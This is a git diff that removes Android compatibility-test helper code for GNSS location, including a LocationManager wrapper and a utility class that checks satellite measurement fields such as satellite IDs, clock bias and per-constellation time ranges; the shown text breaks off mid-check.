- Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
- Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
- }
- }
-
- /**
- * See {@link android.location.LocationManager#registerGnssMeasurementsCallback(GnssMeasurementsEvent.Callback callback)}
- *
- * @param callback the listener to add
- * @param handler the handler that the callback runs at.
- */
- public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
- Handler handler) {
- Log.i(TAG, "Add Gnss Measurement Callback.");
- boolean measurementListenerAdded =
- mLocationManager.registerGnssMeasurementsCallback(callback, handler);
- if (!measurementListenerAdded) {
- // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
- Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
- Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
- }
- }
-
- /**
- * See {@link android.location.LocationManager#unregisterGnssMeasurementsCallback
- * (GnssMeasurementsEvent.Callback)}.
- *
- * @param callback the listener to remove
- */
- public void unregisterGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
- Log.i(TAG, "Remove Gnss Measurement Callback.");
- mLocationManager.unregisterGnssMeasurementsCallback(callback);
- }
-
- /**
- * See {@code LocationManager#requestLocationUpdates}.
- *
- * @param locationListener location listener for request
- */
- public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
- if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
- Log.i(TAG, "Request Location updates.");
- mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
- minTimeMsec,
- 0 /* minDistance */,
- locationListener,
- Looper.getMainLooper());
- }
- }
-
- /**
- * See {@code LocationManager#requestLocationUpdates}.
- *
- * @param locationListener location listener for request
- */
- public void requestLocationUpdates(LocationListener locationListener) {
- requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
- }
-
- /**
- * See {@code LocationManager#requestNetworkLocationUpdates}.
- *
- * @param locationListener location listener for request
- */
- public void requestNetworkLocationUpdates(LocationListener locationListener) {
- if (mLocationManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
- Log.i(TAG, "Request Network Location updates.");
- mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
- 0 /* minTime*/,
- 0 /* minDistance */,
- locationListener,
- Looper.getMainLooper());
- }
- }
-
- /**
- * See {@code LocationManager#requestLocationUpdates}.
- *
- * @param locationListener location listener for request
- */
- public void requestPassiveLocationUpdates(LocationListener locationListener, int minTimeMsec) {
- if (mLocationManager.getProvider(LocationManager.PASSIVE_PROVIDER) != null) {
- Log.i(TAG, "Request Passive Location updates.");
- mLocationManager.requestLocationUpdates(LocationManager.PASSIVE_PROVIDER,
- minTimeMsec,
- 0 /* minDistance */,
- locationListener,
- Looper.getMainLooper());
- }
- }
-
- /**
- * See {@link android.location.LocationManager#sendExtraCommand}.
- *
- * @param command name of the command to send to the provider.
- *
- * @return true if the command succeeds.
- */
- public boolean sendExtraCommand(String command) {
- Log.i(TAG, "Send Extra Command = " + command);
- boolean extraCommandStatus = mLocationManager.sendExtraCommand(LocationManager.GPS_PROVIDER,
- command, null);
- Log.i(TAG, "Sent extra command (" + command + ") status = " + extraCommandStatus);
- return extraCommandStatus;
- }
-
- /**
- * Add a GNSS Navigation Message callback.
- *
- * @param callback a {@link GnssNavigationMessage.Callback} object to register.
- * @return {@code true} if the listener was added successfully, {@code false} otherwise.
- */
- public boolean registerGnssNavigationMessageCallback(
- GnssNavigationMessage.Callback callback) {
- Log.i(TAG, "Add Gnss Navigation Message Callback.");
- return mLocationManager.registerGnssNavigationMessageCallback(callback);
- }
-
- /**
- * Add a GNSS Navigation Message callback.
- *
- * @param callback a {@link GnssNavigationMessage.Callback} object to register.
- * @param handler the handler that the callback runs at.
- * @return {@code true} if the listener was added successfully, {@code false} otherwise.
- */
- public boolean registerGnssNavigationMessageCallback(
- GnssNavigationMessage.Callback callback, Handler handler) {
- Log.i(TAG, "Add Gnss Navigation Message Callback.");
- return mLocationManager.registerGnssNavigationMessageCallback(callback, handler);
- }
-
- /**
- * Removes a GNSS Navigation Message callback.
- *
- * @param callback a {@link GnssNavigationMessage.Callback} object to remove.
- */
- public void unregisterGnssNavigationMessageCallback(GnssNavigationMessage.Callback callback) {
- Log.i(TAG, "Remove Gnss Navigation Message Callback.");
- mLocationManager.unregisterGnssNavigationMessageCallback(callback);
- }
-
- /**
- * Add a GNSS Status callback.
- *
- * @param callback a {@link GnssStatus.Callback} object to register.
- * @return {@code true} if the listener was added successfully, {@code false} otherwise.
- */
- public boolean registerGnssStatusCallback(GnssStatus.Callback callback) {
- Log.i(TAG, "Add Gnss Status Callback.");
- return mLocationManager.registerGnssStatusCallback(
- callback, new Handler(Looper.getMainLooper()));
- }
-
- /**
- * Removes a GNSS Status callback.
- *
- * @param callback a {@link GnssStatus.Callback} object to remove.
- */
- public void unregisterGnssStatusCallback(GnssStatus.Callback callback) {
- Log.i(TAG, "Remove Gnss Status Callback.");
- mLocationManager.unregisterGnssStatusCallback(callback);
- }
-
- /**
- * Get LocationManager
- *
- * @return locationManager
- */
- public LocationManager getLocationManager() {
- return mLocationManager;
- }
- /**
- * Get Context
- *
- * @return context
- */
- public Context getContext() {
- return mContext;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
deleted file mode 100644
index e576af6..0000000
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ /dev/null
@@ -1,882 +0,0 @@
-/*
- * Copyright (C) 2015 Google Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssNavigationMessage;
-import android.location.GnssStatus;
-import android.location.LocationManager;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper class for GnssMeasurement Tests.
- */
-public final class TestMeasurementUtil {
-
- private static final String TAG = "TestMeasurementUtil";
-
- private static final long NSEC_IN_SEC = 1000_000_000L;
- // Generally carrier phase quality prr's have uncertainties around 0.001-0.05 m/s, vs.
- // doppler energy quality prr's closer to 0.25-10 m/s. Threshold is chosen between those
- // typical ranges.
- private static final float THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC = 0.15F;
-
- // For gpsTimeInNs >= 1.14 * 10^18 (year 2016+)
- private static final long GPS_TIME_YEAR_2016_IN_NSEC = 1_140_000_000L * NSEC_IN_SEC;
-
- // Error message for GnssMeasurements Registration.
- public static final String REGISTRATION_ERROR_MESSAGE = "Registration of GnssMeasurements" +
- " listener has failed, this indicates a platform bug. Please report the issue with" +
- " a full bugreport.";
-
- private enum GnssBand {
- GNSS_L1,
- GNSS_L2,
- GNSS_L5,
- GNSS_E6
- }
-
- // The valid Gnss navigation message type as listed in
- // android/hardware/libhardware/include/hardware/gps.h
- public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
- new HashSet<Integer>(Arrays.asList(
- GnssNavigationMessage.TYPE_UNKNOWN,
- GnssNavigationMessage.TYPE_GPS_L1CA,
- GnssNavigationMessage.TYPE_GPS_L2CNAV,
- GnssNavigationMessage.TYPE_GPS_L5CNAV,
- GnssNavigationMessage.TYPE_GPS_CNAV2,
- GnssNavigationMessage.TYPE_GLO_L1CA,
- GnssNavigationMessage.TYPE_BDS_D1,
- GnssNavigationMessage.TYPE_BDS_D2,
- GnssNavigationMessage.TYPE_GAL_I,
- GnssNavigationMessage.TYPE_GAL_F
- ));
-
- /**
- * Check if test can be run on the current device.
- *
- * @param testLocationManager TestLocationManager
- * @return true if Build.VERSION >= Build.VERSION_CODES.N and Location GPS present on
- * device.
- */
- public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
- boolean isCtsVerifier) {
- if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
- Log.i(TAG, "This test is designed to work on N or newer. " +
- "Test is being skipped because the platform version is being run in " +
- ApiLevelUtil.getApiLevel());
- return false;
- }
-
- // If device does not have a GPS, skip the test.
- if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
- return false;
- }
-
- // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
- // fail the test now, because there's no point in going further.
- // If this is CTS only,we'll warn instead, and quickly pass the test.
- // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
- boolean gpsProviderEnabled = testLocationManager.getLocationManager()
- .isProviderEnabled(LocationManager.GPS_PROVIDER);
- SoftAssert.failOrWarning(isCtsVerifier, " GPS location disabled on the device. " +
- "Enable location in settings to continue test.", gpsProviderEnabled);
- // If CTS only, allow an early exit pass
- if (!isCtsVerifier && !gpsProviderEnabled) {
- return false;
- }
-
- return true;
- }
-
- /**
- * Check if pseudorange rate uncertainty in Gnss Measurement is in the expected range.
- * See field description in {@code gps.h}.
- *
- * @param measurement GnssMeasurement
- * @return true if this measurement has prr uncertainty in a range indicative of carrier phase
- */
- public static boolean gnssMeasurementHasCarrierPhasePrr(GnssMeasurement measurement) {
- return (measurement.getPseudorangeRateUncertaintyMetersPerSecond() <
- THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC);
- }
-
- /**
- * Assert all mandatory fields in Gnss Clock are in expected range.
- * See mandatory fields in {@code gps.h}.
- *
- * @param clock GnssClock
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- */
- public static void assertGnssClockFields(GnssClock clock,
- SoftAssert softAssert,
- long timeInNs) {
- softAssert.assertTrue("time_ns: clock value",
- timeInNs,
- "X >= 0",
- String.valueOf(timeInNs),
- timeInNs >= 0L);
-
- // If full bias is valid and accurate within one sec. verify its sign & magnitude
- if (clock.hasFullBiasNanos() &&
- ((!clock.hasBiasUncertaintyNanos()) ||
- (clock.getBiasUncertaintyNanos() < NSEC_IN_SEC))) {
- long gpsTimeInNs = timeInNs - clock.getFullBiasNanos();
- softAssert.assertTrue("TimeNanos - FullBiasNanos = GpsTimeNanos: clock value",
- gpsTimeInNs,
- "gpsTimeInNs >= 1.14 * 10^18 (year 2016+)",
- String.valueOf(gpsTimeInNs),
- gpsTimeInNs >= GPS_TIME_YEAR_2016_IN_NSEC);
- }
- }
-
- /**
- * Asserts the same FullBiasNanos of multiple GnssMeasurementEvents at the same time epoch.
- *
- * <p>FullBiasNanos denotes the receiver clock bias calculated by the GNSS chipset. If multiple
- * GnssMeasurementEvents are tagged with the same time epoch, their FullBiasNanos should be the
- * same.
- *
- * @param softAssert custom SoftAssert
- * @param events GnssMeasurementEvents. Each event includes one GnssClock with a
- * fullBiasNanos.
- */
- public static void assertGnssClockHasConsistentFullBiasNanos(SoftAssert softAssert,
- List<GnssMeasurementsEvent> events) {
- Map<Long, List<Long>> timeToFullBiasList = new HashMap<>();
- for (GnssMeasurementsEvent event : events) {
- long timeNanos = event.getClock().getTimeNanos();
- long fullBiasNanos = event.getClock().getFullBiasNanos();
-
- timeToFullBiasList.putIfAbsent(timeNanos, new ArrayList<>());
- List<Long> fullBiasNanosList = timeToFullBiasList.get(timeNanos);
- fullBiasNanosList.add(fullBiasNanos);
- }
-
- for (Map.Entry<Long, List<Long>> entry : timeToFullBiasList.entrySet()) {
- long timeNanos = entry.getKey();
- List<Long> fullBiasNanosList = entry.getValue();
- if (fullBiasNanosList.size() < 2) {
- continue;
- }
- long fullBiasNanos = fullBiasNanosList.get(0);
- for (int i = 1; i < fullBiasNanosList.size(); i++) {
- softAssert.assertTrue("FullBiasNanos are the same at the same timeNanos",
- timeNanos,
- "fullBiasNanosList.get(i) - fullBiasNanosList.get(0) == 0",
- String.valueOf(fullBiasNanosList.get(i) - fullBiasNanos),
- fullBiasNanosList.get(i) - fullBiasNanos == 0);
- }
- }
- }
-
- /**
- * Assert all mandatory fields in Gnss Measurement are in expected range.
- * See mandatory fields in {@code gps.h}.
- *
- * @param testLocationManager TestLocationManager
- * @param measurement GnssMeasurement
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- */
- public static void assertAllGnssMeasurementMandatoryFields(
- TestLocationManager testLocationManager, GnssMeasurement measurement,
- SoftAssert softAssert, long timeInNs) {
-
- verifySvid(measurement, softAssert, timeInNs);
- verifyReceivedSatelliteVehicleTimeInNs(measurement, softAssert, timeInNs);
- verifyAccumulatedDeltaRanges(measurement, softAssert, timeInNs);
-
- int state = measurement.getState();
- softAssert.assertTrue("state: Satellite code sync state",
- timeInNs,
- "X >= 0",
- String.valueOf(state),
- state >= 0);
-
- // Check received_gps_tow_uncertainty_ns
- softAssert.assertTrueAsWarning("received_gps_tow_uncertainty_ns:" +
- " Uncertainty of received GPS Time-of-Week in ns",
- timeInNs,
- "X > 0",
- String.valueOf(measurement.getReceivedSvTimeUncertaintyNanos()),
- measurement.getReceivedSvTimeUncertaintyNanos() > 0L);
-
- long timeOffsetInSec = TimeUnit.NANOSECONDS.toSeconds(
- (long) measurement.getTimeOffsetNanos());
- softAssert.assertTrue("time_offset_ns: Time offset",
- timeInNs,
- "-100 seconds < X < +10 seconds",
- String.valueOf(measurement.getTimeOffsetNanos()),
- (-100 < timeOffsetInSec) && (timeOffsetInSec < 10));
-
- softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
- timeInNs,
- "0.0 >= X <=63",
- String.valueOf(measurement.getCn0DbHz()),
- measurement.getCn0DbHz() >= 0.0 &&
- measurement.getCn0DbHz() <= 63.0);
-
- softAssert.assertTrue("pseudorange_rate_uncertainty_mps: " +
- "Pseudorange Rate Uncertainty in m/s",
- timeInNs,
- "X > 0.0",
- String.valueOf(
- measurement.getPseudorangeRateUncertaintyMetersPerSecond()),
- measurement.getPseudorangeRateUncertaintyMetersPerSecond() > 0.0);
-
- verifyGnssCarrierFrequency(softAssert, testLocationManager,
- measurement.hasCarrierFrequencyHz(),
- measurement.hasCarrierFrequencyHz() ? measurement.getCarrierFrequencyHz() : 0F);
-
- // Check carrier_phase.
- if (measurement.hasCarrierPhase()) {
- softAssert.assertTrue("carrier_phase: Carrier phase",
- timeInNs,
- "0.0 >= X <= 1.0",
- String.valueOf(measurement.getCarrierPhase()),
- measurement.getCarrierPhase() >= 0.0 && measurement.getCarrierPhase() <= 1.0);
- }
-
- // Check carrier_phase_uncertainty..
- if (measurement.hasCarrierPhaseUncertainty()) {
- softAssert.assertTrue("carrier_phase_uncertainty: 1-Sigma uncertainty of the " +
- "carrier-phase",
- timeInNs,
- "X > 0.0",
- String.valueOf(measurement.getCarrierPhaseUncertainty()),
- measurement.getCarrierPhaseUncertainty() > 0.0);
- }
-
- // Check GNSS Measurement's multipath_indicator.
- softAssert.assertTrue("multipath_indicator: GNSS Measurement's multipath indicator",
- timeInNs,
- "0 >= X <= 2",
- String.valueOf(measurement.getMultipathIndicator()),
- measurement.getMultipathIndicator() >= 0
- && measurement.getMultipathIndicator() <= 2);
-
-
- // Check Signal-to-Noise ratio (SNR).
- if (measurement.hasSnrInDb()) {
- softAssert.assertTrue("snr: Signal-to-Noise ratio (SNR) in dB",
- timeInNs,
- "0.0 >= X <= 63",
- String.valueOf(measurement.getSnrInDb()),
- measurement.getSnrInDb() >= 0.0 && measurement.getSnrInDb() <= 63);
- }
-
- if (measurement.hasAutomaticGainControlLevelDb()) {
- softAssert.assertTrue("Automatic Gain Control level in dB",
- timeInNs,
- "-100 >= X <= 100",
- String.valueOf(measurement.getAutomaticGainControlLevelDb()),
- measurement.getAutomaticGainControlLevelDb() >= -100
- && measurement.getAutomaticGainControlLevelDb() <= 100);
- }
-
- }
-
- /**
- * Verify accumulated delta ranges are in expected range.
- *
- * @param measurement GnssMeasurement
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- */
- private static void verifyAccumulatedDeltaRanges(GnssMeasurement measurement,
- SoftAssert softAssert, long timeInNs) {
-
- int accumulatedDeltaRangeState = measurement.getAccumulatedDeltaRangeState();
- softAssert.assertTrue("accumulated_delta_range_state: " +
- "Accumulated delta range state",
- timeInNs,
- "X & ~ADR_STATE_ALL == 0",
- String.valueOf(accumulatedDeltaRangeState),
- (accumulatedDeltaRangeState & ~GnssMeasurement.ADR_STATE_ALL) == 0);
- softAssert.assertTrue("accumulated_delta_range_state: " +
- "Accumulated delta range state",
- timeInNs,
- "ADR_STATE_HALF_CYCLE_REPORTED, or !ADR_STATE_HALF_CYCLE_RESOLVED",
- String.valueOf(accumulatedDeltaRangeState),
- ((accumulatedDeltaRangeState &
- GnssMeasurement.ADR_STATE_HALF_CYCLE_REPORTED) != 0) ||
- (accumulatedDeltaRangeState &
- GnssMeasurement.ADR_STATE_HALF_CYCLE_RESOLVED) == 0);
- if ((accumulatedDeltaRangeState & GnssMeasurement.ADR_STATE_VALID) != 0) {
- double accumulatedDeltaRangeInMeters =
- measurement.getAccumulatedDeltaRangeMeters();
- softAssert.assertTrue("accumulated_delta_range_m: " +
- "Accumulated delta range in meter",
- timeInNs,
- "X != 0.0",
- String.valueOf(accumulatedDeltaRangeInMeters),
- accumulatedDeltaRangeInMeters != 0.0);
- double accumulatedDeltaRangeUncertainty =
- measurement.getAccumulatedDeltaRangeUncertaintyMeters();
- softAssert.assertTrue("accumulated_delta_range_uncertainty_m: " +
- "Accumulated delta range uncertainty in meter",
- timeInNs,
- "X > 0.0",
- String.valueOf(accumulatedDeltaRangeUncertainty),
- accumulatedDeltaRangeUncertainty > 0.0);
- }
- }
-
- /**
- * Verify svid's are in expected range.
- *
- * @param measurement GnssMeasurement
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- */
- private static void verifySvid(GnssMeasurement measurement, SoftAssert softAssert,
- long timeInNs) {
-
- int constellationType = measurement.getConstellationType();
- int svid = measurement.getSvid();
- validateSvidSub(softAssert, timeInNs, constellationType, svid);
- }
-
- public static void validateSvidSub(SoftAssert softAssert, Long timeInNs,
- int constellationType, int svid) {
-
- String svidValue = String.valueOf(svid);
-
- switch (constellationType) {
- case GnssStatus.CONSTELLATION_GPS:
- softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
- "= CONSTELLATION_GPS",
- timeInNs,
- "[1, 32]",
- svidValue,
- svid > 0 && svid <= 32);
- break;
- case GnssStatus.CONSTELLATION_SBAS:
- softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
- "= CONSTELLATION_SBAS",
- timeInNs,
- "120 <= X <= 192",
- svidValue,
- svid >= 120 && svid <= 192);
- break;
- case GnssStatus.CONSTELLATION_GLONASS:
- softAssert.assertTrue("svid: Slot ID, or if unknown, Frequency + 100 (93-106). " +
- "Constellation type = CONSTELLATION_GLONASS",
- timeInNs,
- "1 <= svid <= 24 || 93 <= svid <= 106",
- svidValue,
- (svid >= 1 && svid <= 24) || (svid >= 93 && svid <= 106));
- break;
- case GnssStatus.CONSTELLATION_QZSS:
- softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
- "= CONSTELLATION_QZSS",
- timeInNs,
- "193 <= X <= 200",
- svidValue,
- svid >= 193 && svid <= 200);
- break;
- case GnssStatus.CONSTELLATION_BEIDOU:
- softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
- "= CONSTELLATION_BEIDOU",
- timeInNs,
- "1 <= X <= 63",
- svidValue,
- svid >= 1 && svid <= 63);
- break;
- case GnssStatus.CONSTELLATION_GALILEO:
- softAssert.assertTrue("svid: Space Vehicle ID. Constellation type " +
- "= CONSTELLATION_GALILEO",
- timeInNs,
- "1 <= X <= 36",
- String.valueOf(svid),
- svid >= 1 && svid <= 36);
- break;
- default:
- // Explicit fail if did not receive valid constellation type.
- softAssert.assertTrue("svid: Space Vehicle ID. Did not receive any valid " +
- "constellation type.",
- timeInNs,
- "Valid constellation type.",
- svidValue,
- false);
- break;
- }
- }
-
- /**
- * Verify sv times are in expected range.
- *
- * @param measurement GnssMeasurement
- * @param softAssert custom SoftAssert
- * @param timeInNs event time in ns
- * */
- private static void verifyReceivedSatelliteVehicleTimeInNs(GnssMeasurement measurement,
- SoftAssert softAssert, long timeInNs) {
-
- int constellationType = measurement.getConstellationType();
- int state = measurement.getState();
- long received_sv_time_ns = measurement.getReceivedSvTimeNanos();
- double sv_time_ms = TimeUnit.NANOSECONDS.toMillis(received_sv_time_ns);
- double sv_time_sec = TimeUnit.NANOSECONDS.toSeconds(received_sv_time_ns);
- double sv_time_days = TimeUnit.NANOSECONDS.toDays(received_sv_time_ns);
-
- // Check ranges for received_sv_time_ns for given Gps State
- if (state == 0) {
- softAssert.assertTrue("received_sv_time_ns:" +
- " Received SV Time-of-Week in ns." +
- " GNSS_MEASUREMENT_STATE_UNKNOWN.",
- timeInNs,
- "X == 0",
- String.valueOf(received_sv_time_ns),
- sv_time_ms == 0);
- }
-
- switch (constellationType) {
- case GnssStatus.CONSTELLATION_GPS:
- verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state, "CONSTELLATION_GPS");
- break;
- case GnssStatus.CONSTELLATION_QZSS:
- verifyGpsQzssSvTimes(measurement, softAssert, timeInNs, state,
- "CONSTELLATION_QZSS");
- break;
- case GnssStatus.CONSTELLATION_SBAS:
- if ((state & GnssMeasurement.STATE_SBAS_SYNC)
- == GnssMeasurement.STATE_SBAS_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_SBAS_SYNC",
- "GnssStatus.CONSTELLATION_SBAS"),
- timeInNs,
- "0s >= X <= 1s",
- String.valueOf(sv_time_sec),
- sv_time_sec >= 0 && sv_time_sec <= 1);
- } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
- == GnssMeasurement.STATE_SYMBOL_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
- "GnssStatus.CONSTELLATION_SBAS"),
- timeInNs,
- "0ms >= X <= 2ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 2);
- } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
- == GnssMeasurement.STATE_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_CODE_LOCK",
- "GnssStatus.CONSTELLATION_SBAS"),
- timeInNs,
- "0ms >= X <= 1ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 1);
- }
- break;
- case GnssStatus.CONSTELLATION_GLONASS:
- if ((state & GnssMeasurement.STATE_GLO_TOD_DECODED)
- == GnssMeasurement.STATE_GLO_TOD_DECODED) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GLO_TOD_DECODED",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0 day >= X <= 1 day",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 1);
- } else if ((state & GnssMeasurement.STATE_GLO_TOD_KNOWN)
- == GnssMeasurement.STATE_GLO_TOD_KNOWN) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GLO_TOD_KNOWN",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0 day >= X <= 1 day",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 1);
- } else if ((state & GnssMeasurement.STATE_GLO_STRING_SYNC)
- == GnssMeasurement.STATE_GLO_STRING_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GLO_STRING_SYNC",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0s >= X <= 2s",
- String.valueOf(sv_time_sec),
- sv_time_sec >= 0 && sv_time_sec <= 2);
- } else if ((state & GnssMeasurement.STATE_BIT_SYNC)
- == GnssMeasurement.STATE_BIT_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_BIT_SYNC",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0ms >= X <= 20ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 20);
- } else if ((state & GnssMeasurement.STATE_SYMBOL_SYNC)
- == GnssMeasurement.STATE_SYMBOL_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_SYMBOL_SYNC",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0ms >= X <= 10ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 10);
- } else if ((state & GnssMeasurement.STATE_CODE_LOCK)
- == GnssMeasurement.STATE_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_CODE_LOCK",
- "GnssStatus.CONSTELLATION_GLONASS"),
- timeInNs,
- "0ms >= X <= 1ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 1);
- }
- break;
- case GnssStatus.CONSTELLATION_GALILEO:
- if ((state & GnssMeasurement.STATE_TOW_DECODED)
- == GnssMeasurement.STATE_TOW_DECODED) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_DECODED",
- "GnssStatus.CONSTELLATION_GALILEO"),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
- == GnssMeasurement.STATE_TOW_KNOWN) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_DECODED",
- "GnssStatus.CONSTELLATION_GALILEO"),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC)
- == GnssMeasurement.STATE_GAL_E1B_PAGE_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GAL_E1B_PAGE_SYNC",
- "GnssStatus.CONSTELLATION_GALILEO"),
- timeInNs,
- "0s >= X <= 2s",
- String.valueOf(sv_time_sec),
- sv_time_sec >= 0 && sv_time_sec <= 2);
- } else if ((state & GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK)
- == GnssMeasurement.STATE_GAL_E1C_2ND_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GAL_E1C_2ND_CODE_LOCK",
- "GnssStatus.CONSTELLATION_GALILEO"),
- timeInNs,
- "0ms >= X <= 100ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 100);
- } else if ((state & GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK)
- == GnssMeasurement.STATE_GAL_E1BC_CODE_LOCK) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_GAL_E1BC_CODE_LOCK",
- "GnssStatus.CONSTELLATION_GALILEO"),
- timeInNs,
- "0ms >= X <= 4ms",
- String.valueOf(sv_time_ms),
- sv_time_ms >= 0 && sv_time_ms <= 4);
- }
- break;
- case GnssStatus.CONSTELLATION_BEIDOU:
- if ((state & GnssMeasurement.STATE_TOW_DECODED)
- == GnssMeasurement.STATE_TOW_DECODED) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_DECODED",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_TOW_KNOWN)
- == GnssMeasurement.STATE_TOW_KNOWN) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_TOW_KNOWN",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0 >= X <= 7 days",
- String.valueOf(sv_time_days),
- sv_time_days >= 0 && sv_time_days <= 7);
- } else if ((state & GnssMeasurement.STATE_SUBFRAME_SYNC)
- == GnssMeasurement.STATE_SUBFRAME_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_SUBFRAME_SYNC",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
- "0s >= X <= 6s",
- String.valueOf(sv_time_sec),
- sv_time_sec >= 0 && sv_time_sec <= 6);
- } else if ((state & GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC)
- == GnssMeasurement.STATE_BDS_D2_SUBFRAME_SYNC) {
- softAssert.assertTrue(getReceivedSvTimeNsLogMessage(
- "GNSS_MEASUREMENT_STATE_BDS_D2_SUBFRAME_SYNC",
- "GnssStatus.CONSTELLATION_BEIDOU"),
- timeInNs,
